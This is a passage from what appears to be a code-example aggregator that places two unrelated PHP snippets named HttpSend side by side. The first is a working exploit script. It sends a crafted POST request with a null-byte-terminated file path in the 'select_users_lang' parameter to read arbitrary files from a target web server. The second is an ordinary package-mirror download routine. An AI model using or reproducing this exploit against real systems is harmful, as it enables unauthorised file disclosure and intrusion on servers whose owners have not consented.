exit;
}
$Host = $argv[1];
$Port = $argv[2];
$Path = $argv[3];
$File = $argv[4];
function HttpSend($aHost, $aPort, $aPacket)
{
    $Response = "";
    if (!($Socket = fsockopen($aHost, $aPort))) {
        print "Error connecting to {$aHost}:{$aPort}\n\n";
        exit;
    }
    fputs($Socket, $aPacket);
    while (!feof($Socket)) {
        $Response .= fread($Socket, 1024);
    }
    fclose($Socket);
    return $Response;
}
$VulnRequest = "select_users_lang=" . $File . "%00";
$Packet = "POST {$Path} HTTP/1.1\r\n";
$Packet .= "Host: {$Host}\r\n";
$Packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$Packet .= "Content-Length: " . strlen($VulnRequest) . "\r\n\r\n";
$Packet .= "{$VulnRequest}\n";
if ($argv[5] == 1) {
    print $Packet;
}
print HttpSend($Host, $Port, $Packet);
Example #2
0
 public function doDownLoad($limit_array)
 {
     $output = new ConsoleOutput();
     //        $bar = new ProgressBar($output,count($limit_array));
     //        $bar->start();
     //        $bar->setBarWidth(100);
     $i = 0;
     $count = count($limit_array);
     //        $bar->setFormat('debug');
     foreach ($limit_array as $file => $data) {
         $url = $this->packagist . "/p/" . $file . '$' . $data['sha256'] . ".json";
         $path = $this->repository_path . "/packages/" . $file . ".json";
         $fs = new Filesystem();
         if ($fs->exists($path)) {
             if (hash('sha256', file_get_contents($path)) == $data['sha256']) {
                 $i++;
                 $output->writeln($i . '/' . $count . ' skip');
                 continue;
             } else {
                 $output->writeln('try again :' . $file);
             }
             //                $bar->advance();
         }
         $fetch_data = HttpSend($url);
         $data = $fetch_data->raw_body;
         if ($fetch_data->code == '404') {
             $output->writeln('no file :' . $file);
             //                $bar->advance();
             continue;
         }
         $i++;
         $output->writeln($i . '/' . $count);
         $fs->dumpFile($path, $data);
         //            $bar->advance();
     }
     //        $bar->finish();
     $output->writeln('');
 }